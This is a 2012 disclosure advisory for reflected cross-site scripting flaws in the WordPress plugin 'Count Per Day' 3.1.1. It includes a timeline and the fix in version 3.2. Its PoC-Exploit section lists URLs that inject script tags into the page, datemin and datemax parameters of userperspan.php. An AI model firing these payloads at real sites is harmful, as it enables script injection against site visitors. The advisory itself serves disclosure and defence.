Advisory: WordPress Plugin 'Count Per Day' 3.1.1 Multiple Cross-site scripting vulnerabilities
Advisory ID: SSCHADV2012-015
Author: Stefan Schurtz
Affected Software: Successfully tested on 'Count Per Day' 3.1.1
Vendor URL: http://www.tomsdimension.de/wp-plugins/count-per-day
Vendor Status: fixed

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Vulnerability Description
==========================

The WordPress plugin 'Count Per Day' 3.1.1' is prone to multiple XSS vulnerabilities

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PoC-Exploit
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http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.p
hp?page="/><script>alert(88)</script>
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.p
hp?page="/><script>alert(/xss/)</script>

http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.p
hp?datemin="/><script>alert(88)</script>
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.p
hp?datemin="/><script>alert(/xss/)</script>

http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.p
hp?datemax="/><script>alert(88)</script>
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.p
hp?datemax="/><script>alert(/xss/)</script>

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Solution
=========

Upgrade to the latest version 3.2

====================
Disclosure Timeline
====================

29-Jun-2012 - vendor informed (contact form)
02-Jul-2012 - verified by Meistar
03-Jul-2012 - feedback from developer
14-Jul-2012 - fixed by developer

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Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

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References
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http://wordpress.org/extend/plugins/count-per-day/changelog/
http://www.darksecurity.de/advisories/2012/SSCHADV2012-015.txt

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